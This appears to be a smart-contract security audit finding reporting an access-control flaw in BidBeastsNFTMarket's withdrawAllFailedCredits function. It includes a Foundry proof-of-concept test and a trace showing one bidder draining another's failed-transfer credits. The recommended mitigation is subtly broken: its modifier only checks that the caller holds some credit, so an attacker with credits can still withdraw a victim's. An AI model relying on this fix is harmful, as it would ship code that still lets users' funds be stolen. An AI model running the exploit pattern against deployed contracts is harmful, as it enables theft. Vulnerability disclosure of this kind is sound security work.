Lack of access control in `BidBeastsNFTMarket::withdrawAllFailedCredits` allows any bidder to withdraw another bidder's failed transfer credits
Description
-
BidBeastsNFTMarket::withdrawAllFailedCredits should only allow a bidder to withdraw their own failed credits
-
BidBeastsNFTMarket::withdrawAllFailedCredits doesn't have any access controls therefore anyone can call the function and withdraw another bidder's failed credits. The function reads failedTransferCredits[_receiver] but transfers the amount to msg.sender and resets failedTransferCredits[msg.sender]. This mismatch allows an attacker to specify a victim _receiver and steal their credits.
@> function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood: High
-
Whenever a bidder has unclaimed failed credits, any other account can call BidBeastsNFTMarket::withdrawAllFailedCredits with the victim’s address.
-
This is trivial to trigger since failed credits naturally occur when contracts without payable functions place bids.
Impact: High
-
Attacker drains all of a victim’s failed credits.
-
Victim believes they still have credits (mapping not cleared), but contract lacks ETH to pay them out, breaking accounting and solvency.
Proof of Concept
Add this contract to BidBeastsMarketPlaceTest.sol
contract BidderContract {
constructor() payable {
require(msg.value >= 100 ether, "Must fund with at least 100 ether");
}
}
Add an address to deploy the contract with the other state variables
// --- Users ---
address public constant OWNER = address(0x1); // Contract deployer/owner
address public constant SELLER = address(0x2);
address public constant BIDDER_1 = address(0x3);
address public constant BIDDER_2 = address(0x4);
+ address public constant BIDDER_CONTRACT_DEPLOYER = address(0x5);
Deal the deployer address some eth in the setup
vm.deal(BIDDER_CONTRACT_DEPLOYER, 200 ether);
Now add this test to the test suite
function test_anyoneCanWithdrawFailedCredit() public {
vm.prank(BIDDER_CONTRACT_DEPLOYER);
bidderContract = new BidderContract{value: STARTING_BALANCE}();
_mintNFT();
_listNFT();
vm.prank(address(bidderContract));
market.placeBid{value: 10 ether}(TOKEN_ID);
uint256 bidderContractInitialFailedCredit = market.getFailedCredit(address(bidderContract));
vm.prank(BIDDER_1);
market.withdrawAllFailedCredits(address(bidderContract));
assertEq(BIDDER_1.balance, STARTING_BALANCE + bidderContractInitialFailedCredit);
uint256 bidderContractFinalFailedCredit = market.getFailedCredit(address(bidderContract));
assertEq(bidderContractFinalFailedCredit, 5 ether);
}
The test passes with the following result
Ran 1 test for test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest
[PASS] test_anyoneCanWithdrawFailedCredit() (gas: 375281)
Traces:
[474367] BidBeastsNFTMarketTest::test_anyoneCanWithdrawFailedCredit()
├─ [0] VM::prank(ModExp: [0x0000000000000000000000000000000000000005])
│ └─ ← [Return]
├─ [12477] → new BidderContract@0x7ae35C45EDDc931E84Bbe28dDd5ef38DfcC0CE24
│ └─ ← [Return] 62 bytes of code
├─ [0] VM::startPrank(ECRecover: [0x0000000000000000000000000000000000000001])
│ └─ ← [Return]
├─ [74067] BidBeasts::mint(SHA-256: [0x0000000000000000000000000000000000000002])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], tokenId: 0)
│ ├─ emit BidBeastsMinted(to: SHA-256: [0x0000000000000000000000000000000000000002], tokenId: 0)
│ └─ ← [Return] 0
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(SHA-256: [0x0000000000000000000000000000000000000002])
│ └─ ← [Return]
├─ [25508] BidBeasts::approve(BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0)
│ ├─ emit Approval(owner: SHA-256: [0x0000000000000000000000000000000000000002], approved: BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], tokenId: 0)
│ └─ ← [Stop]
├─ [128610] BidBeastsNFTMarket::listNFT(0, 1000000000000000000 [1e18], 5000000000000000000 [5e18])
│ ├─ [1094] BidBeasts::ownerOf(0) [staticcall]
│ │ └─ ← [Return] SHA-256: [0x0000000000000000000000000000000000000002]
│ ├─ [29510] BidBeasts::transferFrom(SHA-256: [0x0000000000000000000000000000000000000002], BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0)
│ │ ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], tokenId: 0)
│ │ └─ ← [Stop]
│ ├─ emit NftListed(tokenId: 0, seller: SHA-256: [0x0000000000000000000000000000000000000002], minPrice: 1000000000000000000 [1e18], buyNowPrice: 5000000000000000000 [5e18])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::prank(BidderContract: [0x7ae35C45EDDc931E84Bbe28dDd5ef38DfcC0CE24])
│ └─ ← [Return]
├─ [138313] BidBeastsNFTMarket::placeBid{value: 10000000000000000000}(0)
│ ├─ [26871] BidBeasts::transferFrom(BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], BidderContract: [0x7ae35C45EDDc931E84Bbe28dDd5ef38DfcC0CE24], 0)
│ │ ├─ emit Transfer(from: BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], to: BidderContract: [0x7ae35C45EDDc931E84Bbe28dDd5ef38DfcC0CE24], tokenId: 0)
│ │ └─ ← [Stop]
│ ├─ [60] PRECOMPILES::sha256{value: 4750000000000000000}(0x)
│ │ └─ ← [Return] 0xe3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
│ ├─ emit AuctionSettled(tokenId: 0, winner: BidderContract: [0x7ae35C45EDDc931E84Bbe28dDd5ef38DfcC0CE24], seller: SHA-256: [0x0000000000000000000000000000000000000002], price: 5000000000000000000 [5e18])
│ ├─ [23] BidderContract::fallback{value: 5000000000000000000}()
│ │ └─ ← [Revert] EvmError: Revert
│ └─ ← [Stop]
├─ [875] BidBeastsNFTMarket::getFailedCredit(BidderContract: [0x7ae35C45EDDc931E84Bbe28dDd5ef38DfcC0CE24]) [staticcall]
│ └─ ← [Return] 5000000000000000000 [5e18]
├─ [0] VM::prank(RIPEMD-160: [0x0000000000000000000000000000000000000003])
│ └─ ← [Return]
├─ [10796] BidBeastsNFTMarket::withdrawAllFailedCredits(BidderContract: [0x7ae35C45EDDc931E84Bbe28dDd5ef38DfcC0CE24])
│ ├─ [600] PRECOMPILES::ripemd{value: 5000000000000000000}(0x)
│ │ └─ ← [Return] 0x0000000000000000000000009c1185a5c5e9fc54612808977ee8f548b2258d31
│ └─ ← [Stop]
├─ [875] BidBeastsNFTMarket::getFailedCredit(BidderContract: [0x7ae35C45EDDc931E84Bbe28dDd5ef38DfcC0CE24]) [staticcall]
│ └─ ← [Return] 5000000000000000000 [5e18]
└─ ← [Stop]
The output clearly shows that BIDDER_1 received the bidder contract's failed credit
Recommended Mitigation
Add a modifier to check that the msg sender is the intended receiver
+ modifier isReceiver(address receiver) {
+ require(failedTransferCredits[msg.sender] > 0, "Not the receiver");
+ _;
+ }
And then modify BidBeastsNFTMarket::withdrawAllFailedCredits to include the isReceiver modifier
-function withdrawAllFailedCredits(address _receiver) external {
+function withdrawAllFailedCredits(address _receiver) external isReceiver(msg.sender) {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
This ensures a bidder can only withdraw their own failed transfer credits
